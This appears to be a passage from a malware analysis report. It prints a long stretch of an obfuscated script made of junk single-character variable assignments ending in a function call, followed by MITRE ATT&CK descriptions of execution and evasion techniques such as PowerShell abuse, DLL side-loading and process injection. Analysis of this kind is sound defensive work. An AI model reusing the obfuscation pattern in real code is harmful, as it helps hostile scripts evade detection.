275	ssqzy = "t";
276	ssqzy = "k";
277	wmznn = "W";
278	wmznn = "F";
279	wmznn = "t";
280	wmznn = "s";
281	wmznn = "W";
282	wmznn = "L";
283	wmznn = "u";
284	wmznn = "l";
285	wmznn = "v";
286	wmznn = "g";
287	wmznn = "h";
288	vxutktns = "K";
289	vxutktns = "n";
290	vxutktns = "i";
291	vxutktns = "p";
292	vxutktns = "A";
293	vxutktns = "Y";
294	vxutktns = "j";
295	vxutktns = "r";
296	vxutktns = "b";
297	vxutktns = "n";
298	vxutktns = "o";
299	vxutktns = "s";
300	vxutktns = "m";
301	ukapn = "C";
302	ukapn = "R";
303	ukapn = "v";
304	ukapn = "h";
305	ukapn = "y";
306	ukapn = "X";
307	ukapn = "s";
308	ukapn = "P";
309	ukapn = "z";
310	ukapn = "I";
311	ukapn = "v";
312	ukapn = "E";
313	anhoo = "X";
314	anhoo = "x";
315	anhoo = "G";
316	anhoo = "y";
317	anhoo = "B";
318	anhoo = "V";
319	anhoo = "l";
320	anhoo = "R";
321	anhoo = "W";
322	anhoo = "N";
323	anhoo = "U";
324	anhoo = "G";
325	anhoo = "t";
326	anhoo = "z";
327	anhoo = "C";
328	anhoo = "U";
329	anhoo = "W";
330	anhoo = "x";
331	anhoo = "H";
332	anhoo = "B";
333	anhoo = "N";
334	anhoo = "g";
335	anhoo = "Q";
336	anhoo = "r";
337	anhoo = "V";
338	anhoo = "e";
339	anhoo = "V";
340	anhoo = "u";
341	anhoo = "c";
342	anhoo = "L";
343	anhoo = "v";
344	anhoo = "W";
345	anhoo = "7";
346	vpienif = "s";
347	vpienif = "Q";
348	vpienif = "c";
349	vpienif = "R";
350	vpienif = "h";
351	vpienif = "N";
352	vpienif = "j";
353	vpienif = "c";
354	vpienif = "f";
355	vpienif = "p";
356	vpienif = "l";
357	vpienif = "H";
358	vpienif = "C";
359	vpienif = "C";
360	vpienif = "G";
361	vpienif = "P";
362	vpienif = "T";
363	vpienif = "f";
364	lrufoz = "v";
365	lrufoz = "Z";
366	lrufoz = "a";
367	lrufoz = "G";
368	lrufoz = "C";
369	lrufoz = "E";
370	lrufoz = "L";
371	lrufoz = "p";
372	lrufoz = "k";
373	lrufoz = "r";
374	lrufoz = "X";
375	lrufoz = "B";
376	lrufoz = "K";
377	lrufoz = "q";
378	lrufoz = "C";
379	lrufoz = "q";
380	lrufoz = "s";
381	lrufoz = "H";
382	lrufoz = "u";
383	lrufoz = "Z";
384	lrufoz = "e";
385	lrufoz = "a";
386	lrufoz = "D";
387	lrufoz = "g";
388	lrufoz = "i";
389	lrufoz = "m";
390	lrufoz = "r";
391	lrufoz = "z";
392	lrufoz = "T";
393	lrufoz = "j";
394	lrufoz = "W";
395	lrufoz = "h";
396	lrufoz = "G";
397	lrufoz = "g";
398	lrufoz = "O";
399	lrufoz = "B";
400	lrufoz = "X";
401	lrufoz = "W";
402	lrufoz = "p";
403	lrufoz = "H";
404	prpjjxued = "f";
405	prpjjxued = "e";
406	prpjjxued = "P";
407	prpjjxued = "G";
408	prpjjxued = "Q";
409	prpjjxued = "g";
410	prpjjxued = "o";
411	prpjjxued = "p";
412	prpjjxued = "o";
413	prpjjxued = "a";
414	prpjjxued = "T";
415	prpjjxued = "q";
416	prpjjxued = "o";
417	vzrjh = "D";
418	vzrjh = "q";
419	vzrjh = "k";
420	vzrjh = "v";
421	vzrjh = "E";
422	vzrjh = "f";
423	vzrjh = "O";
424	vzrjh = "F";
425	vzrjh = "X";
426	vzrjh = "o";
427	vzrjh = "C";
428	vzrjh = "D";
429	vzrjh = "t";
430	vzrjh = "x";
431	vzrjh = "X";
432	vzrjh = "d";
433	vzrjh = "P";
434	vzrjh = "W";
435	vzrjh = "G";
436	vzrjh = "U";
437	vzrjh = "U";
438	vzrjh = "b";
439	vzrjh = "N";
440	vzrjh = "l";
441	clikzzs = "P";
442	clikzzs = "z";
443	clikzzs = "o";
444	clikzzs = "p";
445	clikzzs = "x";
446	clikzzs = "n";
447	clikzzs = "Y";
448	lzlobgbk = "p";
449	lzlobgbk = "o";
450	lzlobgbk = "v";
451	lzlobgbk = "j";
452	lzlobgbk = "U";
453	lzlobgbk = "K";
454	lzlobgbk = "N";
455	lzlobgbk = "g";
456	lzlobgbk = "s";
457	lzlobgbk = "s";
458	lzlobgbk = "d";
459	lzlobgbk = "O";
460	lzlobgbk = "G";
461	lzlobgbk = "J";
462	lzlobgbk = "z";
463	lzlobgbk = "a";
464	lzlobgbk = "B";
465	lzlobgbk = "b";
466	lzlobgbk = "C";
467	lzlobgbk = "F";
468	vwajvr = "B";
469	vwajvr = "l";
470	vwajvr = "U";
471	vwajvr = "p";
472	vwajvr = "O";
473	vwajvr = "h";
474	vwajvr = "X";
475	vwajvr = "X";
476	vwajvr = "y";
477	vwajvr = "P";
478	vwajvr = "k";
479	vwajvr = "x";
480	vwajvr = "A";
481	vwajvr = "a";
482	vwajvr = "g";
483	vwajvr = "i";
484	vwajvr = "b";
485	vwajvr = "r";
486	vwajvr = "M";
487	vwajvr = "X";
488	vwajvr = "K";
489	vwajvr = "J";
490	vwajvr = "G";
491	vwajvr = "r";
492	vwajvr = "L";
493	vwajvr = "u";
494	vwajvr = "R";
495	vwajvr = "9";
496	wsqzzf = "E";
497	wsqzzf = "q";
498	wsqzzf = "c";
499	wsqzzf = "g";
500	wsqzzf = "f";
501	wsqzzf = "d";
502	wsqzzf = "p";
503	wsqzzf = "z";
504	wsqzzf = "U";
505	wsqzzf = "E";
506	wsqzzf = "s";
507	wsqzzf = "G";
508	wsqzzf = "d";
509	wsqzzf = "0";
510	dbuvoib = "R";
511	dbuvoib = "z";
512	dbuvoib = "z";
513	dbuvoib = "s";
514	dbuvoib = "r";
515	dbuvoib = "D";
516	dbuvoib = "S";
517	dbuvoib = "H";
518	dbuvoib = "s";
519	dbuvoib = "p";
520	dbuvoib = "J";
521	dbuvoib = "e";
522	dbuvoib = "U";
523	dbuvoib = "x";
524	dbuvoib = "n";
525	dbuvoib = "h";
526	dbuvoib = "r";
527	dbuvoib = "c";
528	dbuvoib = "Z";
529	dbuvoib = "z";
530	dbuvoib = "q";
531	dbuvoib = "a";
532	dbuvoib = "y";
533	dbuvoib = "u";
534	dbuvoib = "x";
535	dbuvoib = "P";
536	dbuvoib = "q";
537	dbuvoib = "N";
538	dbuvoib = "X";
539	dbuvoib = "W";
540	dbuvoib = "m";
541	dbuvoib = "P";
542	dbuvoib = "M";
543	dbuvoib = "E";
544	dbuvoib = "p";
545	dbuvoib = "e";
546	dbuvoib = "O";
547	dbuvoib = "u";
548	dbuvoib = "c";
549	dbuvoib = "M";
550	dbuvoib = "R";
551	dbuvoib = "5";
552	hojprxcro = "g";
553	hojprxcro = "a";
554	hojprxcro = "f";
555	hojprxcro = "A";
556	hojprxcro = "V";
557	hojprxcro = "n";
558	hojprxcro = "P";
559	hojprxcro = "X";
560	hojprxcro = "o";
561	hojprxcro = "F";
562	hojprxcro = "b";
563	hojprxcro = "V";
564	hojprxcro = "K";
565	hojprxcro = "W";
566	hojprxcro = "Y";
567	hojprxcro = "O";
568	hojprxcro = "q";
569	hojprxcro = "x";
570	hojprxcro = "U";
571	hojprxcro = "b";
572	hojprxcro = "c";
573	hojprxcro = "P";
574	hojprxcro = "q";
575	hojprxcro = "M";
576	hojprxcro = "M";
577	hojprxcro = "Q";
578	xtqdt = "a";
579	xtqdt = "q";
580	xtqdt = "p";
581	xtqdt = "P";
582	xtqdt = "h";
583	xtqdt = "K";
584	xtqdt = "w";
585	xtqdt = "l";
586	xtqdt = "v";
587	xtqdt = "y";
588	xtqdt = "s";
589	xtqdt = "X";
590	xtqdt = "e";
591	xtqdt = "a";
592	xtqdt = "W";
593	xtqdt = "i";
594	xtqdt = "Q";
595	xtqdt = "R";
596	xtqdt = "W";
597	xtqdt = "v";
598	xtqdt = "t";
599	xtqdt = "S";
600	xtqdt = "L";
601	xtqdt = "V";
602	xtqdt = "V";
603	xtqdt = "I";
604	xtqdt = "N";
605	xtqdt = "I";
606	xtqdt = "-";
607	uusgmbkom = "G";
608	uusgmbkom = "O";
609	uusgmbkom = "D";
610	uusgmbkom = "s";
611	uusgmbkom = "f";
612	uusgmbkom = "J";
613	uusgmbkom = "J";
614	uusgmbkom = "U";
615	uusgmbkom = "p";
616	uusgmbkom = "v";
617	uusgmbkom = "t";
618	uusgmbkom = "L";
619	uusgmbkom = "Q";
620	uusgmbkom = "O";
621	uusgmbkom = "K";
622	uusgmbkom = "P";
623	uusgmbkom = "T";
624	uusgmbkom = "m";
625	uusgmbkom = "b";
626	uusgmbkom = "Y";
627	uusgmbkom = "\"";
628	faqhdwx = "E";
629	faqhdwx = "f";
630	faqhdwx = "m";
631	faqhdwx = "L";
632	faqhdwx = "R";
633	faqhdwx = "C";
634	faqhdwx = "J";
635	faqhdwx = "N";
636	faqhdwx = "S";
637	faqhdwx = "e";
638	faqhdwx = "m";
639	faqhdwx = "a";
640	faqhdwx = "G";
641	faqhdwx = "c";
642	faqhdwx = "m";
643	faqhdwx = "E";
644	faqhdwx = "y";
645	faqhdwx = "S";
646	faqhdwx = "H";
647	faqhdwx = "P";
648	faqhdwx = "l";
649	faqhdwx = "J";
650	faqhdwx = "A";
651	faqhdwx = "I";
652	faqhdwx = "G";
653	faqhdwx = "k";
654	faqhdwx = "C";
655	faqhdwx = "a";
656	faqhdwx = "W";
657	faqhdwx = "K";
658	faqhdwx = "S";
659	faqhdwx = "l";
660	faqhdwx = "p";
661	faqhdwx = "k";
662	faqhdwx = "E";
663	faqhdwx = "E";
664	faqhdwx = "M";
665	faqhdwx = "C";
666	faqhdwx = "w";
667	faqhdwx = "H";
668	faqhdwx = "z";
669	faqhdwx = "Q";
670	faqhdwx = "X";
671	faqhdwx = "@";
672	swzmjm = "Z";
673	swzmjm = "Y";
674	swzmjm = "m";
675	swzmjm = "R";
676	swzmjm = "b";
677	swzmjm = "T";
678	swzmjm = "J";
679	swzmjm = "k";
680	swzmjm = "Q";
681	swzmjm = "M";
682	swzmjm = "o";
683	swzmjm = "y";
684	swzmjm = "P";
685	swzmjm = "j";
686	swzmjm = "c";
687	swzmjm = "h";
688	swzmjm = "U";
689	swzmjm = "e";
690	swzmjm = "X";
691	swzmjm = "u";
692	swzmjm = "A";
693	swzmjm = "j";
694	swzmjm = "q";
695	swzmjm = "L";
696	swzmjm = "u";
697	swzmjm = "q";
698	cfbigg = "b";
699	cfbigg = "A";
700	cfbigg = "j";
701	cfbigg = "X";
702	cfbigg = "M";
703	cfbigg = "M";
704	cfbigg = "l";
705	cfbigg = "d";
706	cfbigg = "S";
707	cfbigg = "S";
708	cfbigg = "a";
709	cfbigg = "l";
710	cfbigg = "2";
711	fdrduhdyd = "I";
712	fdrduhdyd = "Y";
713	fdrduhdyd = "G";
714	fdrduhdyd = "c";
715	fdrduhdyd = "y";
716	fdrduhdyd = "E";
717	fdrduhdyd = "N";
718	fdrduhdyd = "o";
719	fdrduhdyd = "T";
720	fdrduhdyd = "b";
721	fdrduhdyd = "o";
722	fdrduhdyd = "X";
723	fdrduhdyd = "f";
724	fdrduhdyd = "B";
725	fdrduhdyd = "v";
726	fdrduhdyd = "N";
727	fdrduhdyd = "J";
728	fdrduhdyd = "U";
729	fdrduhdyd = "Q";
730	fdrduhdyd = "d";
731	fdrduhdyd = "B";
732	fdrduhdyd = "k";
733	fdrduhdyd = "p";
734	fdrduhdyd = "W";
735	fdrduhdyd = "I";
736	fdrduhdyd = "8";
737	mlrfbrxnn = "C";
738	mlrfbrxnn = "O";
739	mlrfbrxnn = "Y";
740	mlrfbrxnn = "P";
741	mlrfbrxnn = "C";
742	mlrfbrxnn = "E";
743	mlrfbrxnn = "j";
744	mlrfbrxnn = "N";
745	mlrfbrxnn = "n";
746	mlrfbrxnn = "_";
747	dipmgkrd = "L";
748	dipmgkrd = "c";
749	dipmgkrd = "v";
750	dipmgkrd = "v";
751	dipmgkrd = "q";
752	dipmgkrd = "F";
753	dipmgkrd = "r";
754	dipmgkrd = "d";
755	dipmgkrd = "h";
756	dipmgkrd = "L";
757	dipmgkrd = "x";
758	dipmgkrd = "v";
759	dipmgkrd = "m";
760	dipmgkrd = "E";
761	dipmgkrd = "F";
762	dipmgkrd = "A";
763	dipmgkrd = "r";
764	dipmgkrd = "N";
765	dipmgkrd = "u";
766	dipmgkrd = "c";
767	dipmgkrd = "O";
768	dipmgkrd = "g";
769	dipmgkrd = "G";
770	dipmgkrd = "c";
771	dipmgkrd = "U";
772	dipmgkrd = "M";
773	dipmgkrd = "u";
774	dipmgkrd = "i";
775	dipmgkrd = "X";
776	dipmgkrd = "B";
777	dipmgkrd = "o";
778	dipmgkrd = "S";
779	dipmgkrd = "P";
780	dipmgkrd = "t";
781	dipmgkrd = "t";
782	dipmgkrd = "J";
783	dipmgkrd = "\\";
784	fdtqnmp = "Z";
785	fdtqnmp = "C";
786	fdtqnmp = "K";
787	fdtqnmp = "M";
788	fdtqnmp = "b";
789	fdtqnmp = "L";
790	fdtqnmp = "g";
791	fdtqnmp = "Y";
792	fdtqnmp = "X";
793	fdtqnmp = "b";
794	auxny = "i";
795	auxny = "U";
796	auxny = "g";
797	auxny = "m";
798	auxny = "f";
799	auxny = "E";
800	auxny = "S";
801	auxny = "N";
802	auxny = "O";
803	auxny = "S";
804	wmydbyff = "p";
805	wmydbyff = "j";
806	wmydbyff = "q";
807	wmydbyff = "S";
808	wmydbyff = "F";
809	wmydbyff = "I";
810	wmydbyff = "L";
811	wmydbyff = "G";
812	wmydbyff = "A";
813	wmydbyff = "h";
814	wmydbyff = "t";
815	wmydbyff = "m";
816	wmydbyff = "B";
817	wmydbyff = "q";
818	wmydbyff = "K";
819	wmydbyff = "E";
820	wmydbyff = "W";
821	wmydbyff = "Q";
822	wmydbyff = "G";
823	wmydbyff = "x";
824	wmydbyff = "p";
825	iqtvdi = "u";
826	iqtvdi = "R";
827	iqtvdi = "i";
828	iqtvdi = "c";
829	iqtvdi = "a";
830	iqtvdi = "U";
831	iqtvdi = "p";
832	iqtvdi = "n";
833	iqtvdi = "k";
834	iqtvdi = "v";
835	iqtvdi = "j";
836	iqtvdi = "e";
837	iqtvdi = "L";
838	iqtvdi = "e";
839	iqtvdi = "Z";
840	iqtvdi = "A";
841	iqtvdi = "m";
842	iqtvdi = "N";
843	iqtvdi = "X";
844	iqtvdi = "u";
845	iqtvdi = "X";
846	iqtvdi = "D";
847	iqtvdi = "n";
848	iqtvdi = "e";
849	iqtvdi = "C";
850	iqtvdi = "O";
851	iqtvdi = "d";
852	iqtvdi = "a";
853	xivartc = "Y";
854	xivartc = "c";
855	xivartc = "P";
856	xivartc = "B";
857	xivartc = "m";
858	xivartc = "c";
859	xivartc = "x";
860	xivartc = "E";
861	xivartc = "g";
862	xivartc = "P";
863	xivartc = "C";
864	xivartc = "v";
865	xivartc = "z";
866	xivartc = "I";
867	xivartc = "E";
868	xivartc = "o";
869	xivartc = "Z";
870	xivartc = "a";
871	xivartc = "r";
872	xivartc = "H";
873	xivartc = "H";
874	xivartc = "I";
875	xivartc = "s";
876	xivartc = "T";
877	xivartc = "L";
878	fdddtvjxb = "v";
879	fdddtvjxb = "z";
880	fdddtvjxb = "T";
881	fdddtvjxb = "J";
882	fdddtvjxb = "v";
883	fdddtvjxb = "B";
884	fdddtvjxb = "l";
885	fdddtvjxb = "k";
886	fdddtvjxb = "N";
887	fdddtvjxb = "J";
888	fdddtvjxb = "N";
889	fdddtvjxb = "N";
890	fdddtvjxb = "i";
891	fdddtvjxb = "B";
892	fdddtvjxb = "C";
893	fdddtvjxb = "S";
894	fdddtvjxb = "g";
895	fdddtvjxb = "x";
896	fdddtvjxb = "D";
897	fdddtvjxb = "v";
898	uygai = "h";
899	uygai = "E";
900	uygai = "x";
901	uygai = "P";
902	uygai = "Q";
903	uygai = "z";
904	uygai = "N";
905	uygai = "A";
906	uygai = "C";
907	uygai = "C";
908	uygai = "D";
909	uygai = "j";
910	uygai = "g";
911	uygai = "A";
912	uygai = "Q";
913	uygai = "c";
914	uygai = "N";
915	uygai = "j";
916	uygai = "J";
917	uygai = "F";
918	uygai = "W";
919	fbcrvrmyu = "W";
920	fbcrvrmyu = "v";
921	fbcrvrmyu = ".";
922	jvkegflo = "m";
923	jvkegflo = "v";
924	jvkegflo = "V";
925	jvkegflo = "x";
926	jvkegflo = "r";
927	jvkegflo = "c";
928	jvkegflo = "G";
929	jvkegflo = "i";
930	jvkegflo = "F";
931	jvkegflo = "N";
932	jvkegflo = "d";
933	jvkegflo = "m";
934	jvkegflo = "F";
935	jvkegflo = "S";
936	jvkegflo = "b";
937	jvkegflo = "F";
938	jvkegflo = "l";
939	jvkegflo = "z";
940	jvkegflo = "y";
941	jvkegflo = "G";
942	jvkegflo = "U";
943	jvkegflo = "/";
944	uheqhnlna = "f";
945	uheqhnlna = "Z";
946	uheqhnlna = "y";
947	uheqhnlna = "s";
948	uheqhnlna = "w";
949	uheqhnlna = "q";
950	uheqhnlna = "g";
951	uheqhnlna = "b";
952	uheqhnlna = "N";
953	uheqhnlna = "A";
954	uheqhnlna = "B";
955	uheqhnlna = "u";
956	uheqhnlna = "M";
957	uheqhnlna = "e";
958	uheqhnlna = "X";
959	uheqhnlna = "S";
960	uheqhnlna = "x";
961	uheqhnlna = "w";
962	uheqhnlna = "R";
963	uheqhnlna = "3";
964	samyp = "F";
965	samyp = "Z";
966	samyp = "F";
967	samyp = "D";
968	samyp = "G";
969	samyp = "h";
970	samyp = "x";
971	samyp = "r";
972	samyp = "i";
973	samyp = "C";
974	samyp = "d";
975	samyp = "D";
976	samyp = "f";
977	samyp = "x";
978	samyp = "p";
979	samyp = "x";
980	samyp = "Y";
981	samyp = "B";
982	samyp = "K";
983	vhnxxd = "F";
984	vhnxxd = "f";
985	vhnxxd = "f";
986	vhnxxd = "W";
987	vhnxxd = "w";
988	vhnxxd = "B";
989	vhnxxd = "E";
990	vhnxxd = "V";
991	vhnxxd = "L";
992	vhnxxd = "c";
993	mwsfeir = "X";
994	mwsfeir = "M";
995	mwsfeir = "Z";
996	mwsfeir = "F";
997	mwsfeir = "S";
998	mwsfeir = "G";
999	mwsfeir = "s";
1000	mwsfeir = "D";
1001	mwsfeir = "c";
1002	mwsfeir = "h";
1003	mwsfeir = "B";
1004	mwsfeir = "A";
1005	mwsfeir = "o";
1006	mwsfeir = "Q";
1007	mwsfeir = "a";
1008	mwsfeir = "I";
1009	mwsfeir = "d";
1010	mwsfeir = "K";
1011	mwsfeir = "V";
1012	mwsfeir = "J";
1013	mwsfeir = "x";
1014	mwsfeir = "A";
1015	mwsfeir = "j";
1016	mwsfeir = "G";
1017	mwsfeir = "d";
1018	mwsfeir = "a";
1019	mwsfeir = "u";
1020	mwsfeir = "R";
1021	juwyqrgk = "m";
1022	juwyqrgk = "C";
1023	juwyqrgk = "V";
1024	juwyqrgk = "d";
1025	juwyqrgk = "z";
1026	juwyqrgk = "q";
1027	juwyqrgk = "E";
1028	juwyqrgk = "W";
1029	juwyqrgk = "O";
1030	juwyqrgk = "v";
1031	juwyqrgk = "X";
1032	juwyqrgk = "i";
1033	juwyqrgk = "P";
1034	upngprvkv = "S";
1035	upngprvkv = "g";
1036	upngprvkv = "S";
1037	upngprvkv = "u";
1038	upngprvkv = "O";
1039	upngprvkv = "n";
1040	diobdix = "E";
1041	diobdix = "x";
1042	diobdix = "c";
1043	diobdix = "l";
1044	diobdix = "I";
1045	diobdix = ":";
1046	ggergdyl = "G";
1047	ggergdyl = "C";
1048	ggergdyl = "X";
1049	ggergdyl = "Z";
1050	ggergdyl = "A";
1051	ggergdyl = "K";
1052	ggergdyl = "S";
1053	ggergdyl = "E";
1054	ggergdyl = "U";
1055	ggergdyl = "f";
1056	ggergdyl = "Q";
1057	ggergdyl = "S";
1058	ggergdyl = "y";
1059	ggergdyl = "Y";
1060	ggergdyl = "b";
1061	ggergdyl = "w";
1062	ggergdyl = "t";
1063	ggergdyl = "d";
1064	kbvnh = "j";
1065	kbvnh = "K";
1066	kbvnh = "g";
1067	kbvnh = "l";
1068	kbvnh = "s";
1069	kbvnh = "r";
1070	kbvnh = "K";
1071	kbvnh = "f";
1072	kbvnh = "M";
1073	kbvnh = "s";
1074	kbvnh = "x";
1075	kbvnh = "H";
1076	kbvnh = "j";
1077	kbvnh = "p";
1078	kbvnh = "f";
1079	kbvnh = "q";
1080	kbvnh = "l";
1081	kbvnh = "O";
1082	kbvnh = "t";
1083	ojvpgt = "s";
1084	ojvpgt = "G";
1085	ojvpgt = "o";
1086	ojvpgt = "H";
1087	ojvpgt = "W";
1088	ojvpgt = "Q";
1089	ojvpgt = "I";
1090	ojvpgt = "L";
1091	ojvpgt = "f";
1092	ojvpgt = "X";
1093	ojvpgt = "D";
1094	ojvpgt = "V";
1095	ojvpgt = "q";
1096	ojvpgt = "w";
1097	ojvpgt = "k";
1098	ojvpgt = "p";
1099	ojvpgt = "h";
1100	ojvpgt = "y";
1101	ojvpgt = "B";
1102	ojvpgt = "u";
1103	ojvpgt = "l";
1104	ojvpgt = "Q";
1105	ojvpgt = "o";
1106	ojvpgt = "j";
1107	zkaddnqcu = "L";
1108	zkaddnqcu = "C";
1109	zkaddnqcu = "j";
1110	zkaddnqcu = "u";
1111	pajtrs = "e";
1112	pajtrs = "o";
1113	pajtrs = "i";
1114	pajtrs = "R";
1115	pajtrs = "Z";
1116	pajtrs = "T";
1117	pajtrs = "p";
1118	pajtrs = "D";
1119	pajtrs = "M";
1120	pajtrs = "r";
1121	pajtrs = "s";
1122	pajtrs = "S";
1123	pajtrs = "S";
1124	pajtrs = "v";
1125	pajtrs = "K";
1126	pajtrs = "f";
1127	pajtrs = "G";
1128	pajtrs = "h";
1129	pajtrs = "1";
1130	fomey = "x";
1131	fomey = "V";
1132	fomey = "d";
1133	fomey = "n";
1134	fomey = "q";
1135	fomey = "u";
1136	fomey = "c";
1137	fomey = "Q";
1138	fomey = "v";
1139	fomey = "B";
1140	fomey = "S";
1141	fomey = "s";
1142	fomey = "g";
1143	fomey = "n";
1144	fomey = "m";
1145	fomey = "R";
1146	fomey = "w";
1147	fomey = "g";
1148	fomey = "z";
1149	fomey = "r";
1150	fomey = "s";
1151	fomey = "e";
1152	fomey = "M";
1153	fomey = "q";
1154	fomey = "S";
1155	fomey = "A";
1156	fomey = "s";
1157	oapqrvk = "S";
1158	oapqrvk = "n";
1159	oapqrvk = "E";
1160	oapqrvk = "A";
1161	oapqrvk = "N";
1162	oapqrvk = "j";
1163	oapqrvk = "c";
1164	oapqrvk = "x";
1165	oapqrvk = "O";
1166	oapqrvk = "z";
1167	oapqrvk = "r";
1168	oapqrvk = "K";
1169	oapqrvk = "T";
1170	oapqrvk = "r";
1171	oapqrvk = "s";
1172	oapqrvk = "k";
1173	oapqrvk = "s";
1174	oapqrvk = "o";
1175	oapqrvk = "D";
1176	oapqrvk = "w";
1177	oapqrvk = "G";
1178	oapqrvk = "F";
1179	oapqrvk = "P";
1180	oapqrvk = "M";
1181	oapqrvk = "G";
1182	oapqrvk = " ";
1183	gpahxl = "n";
1184	gpahxl = "E";
1185	gpahxl = "I";
1186	gpahxl = "o";
1187	gpahxl = "b";
1188	gpahxl = "x";
1189	gpahxl = "t";
1190	gpahxl = "B";
1191	gpahxl = "U";
1192	gpahxl = "U";
1193	gpahxl = "x";
1194	gpahxl = "g";
1195	gpahxl = "N";
1196	gpahxl = "s";
1197	gpahxl = "m";
1198	gpahxl = "e";
1199	gpahxl = "j";
1200	gpahxl = "m";
1201	gpahxl = "n";
1202	gpahxl = "N";
1203	gpahxl = "Y";
1204	gpahxl = "q";
1205	gpahxl = "O";
1206	gpahxl = "I";
1207	gpahxl = "M";
1208	gpahxl = "D";
1209	gpahxl = "S";
1210	gpahxl = "N";
1211	gpahxl = "n";
1212	gpahxl = "y";
1213	gpahxl = "t";
1214	gpahxl = "i";
1215	gpahxl = "t";
1216	gpahxl = "G";
1217	gpahxl = "J";
1218	gpahxl = "D";
1219	gpahxl = "U";
1220	gpahxl = "O";
1221	gpahxl = "x";
1222	gpahxl = "B";
1223	gpahxl = "x";
1224	gpahxl = "g";
1225	gpahxl = "L";
1226	gpahxl = "%";
1227	urgjdpr = "r";
1228	urgjdpr = "e";
1229	urgjdpr = "M";
1230	urgjdpr = "k";
1231	urgjdpr = "G";
1232	urgjdpr = "m";
1233	urgjdpr = "x";
1234	urgjdpr = "w";
1235	urgjdpr = "H";
1236	urgjdpr = "c";
1237	urgjdpr = "j";
1238	urgjdpr = "r";
1239	urgjdpr = "j";
1240	urgjdpr = "n";
1241	urgjdpr = "P";
1242	urgjdpr = "i";
1243	urgjdpr = "n";
1244	urgjdpr = "U";
1245	urgjdpr = "P";
1246	urgjdpr = "C";
1247	urgjdpr = "r";
1248	urgjdpr = "t";
1249	urgjdpr = "D";
1250	urgjdpr = "N";
1251	urgjdpr = "B";
1252	urgjdpr = "T";
1253	urgjdpr = "P";
1254	urgjdpr = "b";
1255	urgjdpr = "N";
1256	urgjdpr = "p";
1257	urgjdpr = "J";
1258	urgjdpr = "H";
1259	urgjdpr = "a";
1260	urgjdpr = "S";
1261	urgjdpr = "U";
1262	eaewy = "H";
1263	eaewy = "C";
1264	eaewy = "V";
1265	eaewy = "F";
1266	eaewy = "Q";
1267	eaewy = "v";
1268	eaewy = "x";
1269	eaewy = "o";
1270	eaewy = "p";
1271	eaewy = "u";
1272	eaewy = "A";
1273	eaewy = "P";
1274	eaewy = "k";
1275	eaewy = "t";
1276	eaewy = "a";
1277	eaewy = "k";
1278	eaewy = "L";
1279	eaewy = "E";
1280	eaewy = "s";
1281	eaewy = "I";
1282	eaewy = "c";
1283	eaewy = "u";
1284	eaewy = "p";
1285	eaewy = "k";
1286	eaewy = "k";
1287	eaewy = "e";
1288	eaewy = "G";
1289	eaewy = "e";
1290	eaewy = "C";
1291	eaewy = "C";
1292	eaewy = "y";
1293	eaewy = "E";
1294	eaewy = "k";
1295	eaewy = "r";
1296	eaewy = "D";
1297	eaewy = "X";
1298	eaewy = "x";
1299	vftlm = "r";
1300	vftlm = "b";
1301	vftlm = "T";
1302	vftlm = "w";
1303	vftlm = "H";
1304	vftlm = "w";
1305	vftlm = "f";
1306	vftlm = "h";
1307	vftlm = "D";
1308	vftlm = "V";
1309	vftlm = "v";
1310	vftlm = "b";
1311	vftlm = "I";
1312	vftlm = "f";
1313	vftlm = "q";
1314	vftlm = "w";
1315	efbzcyaer ( );	efbzcyaer() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

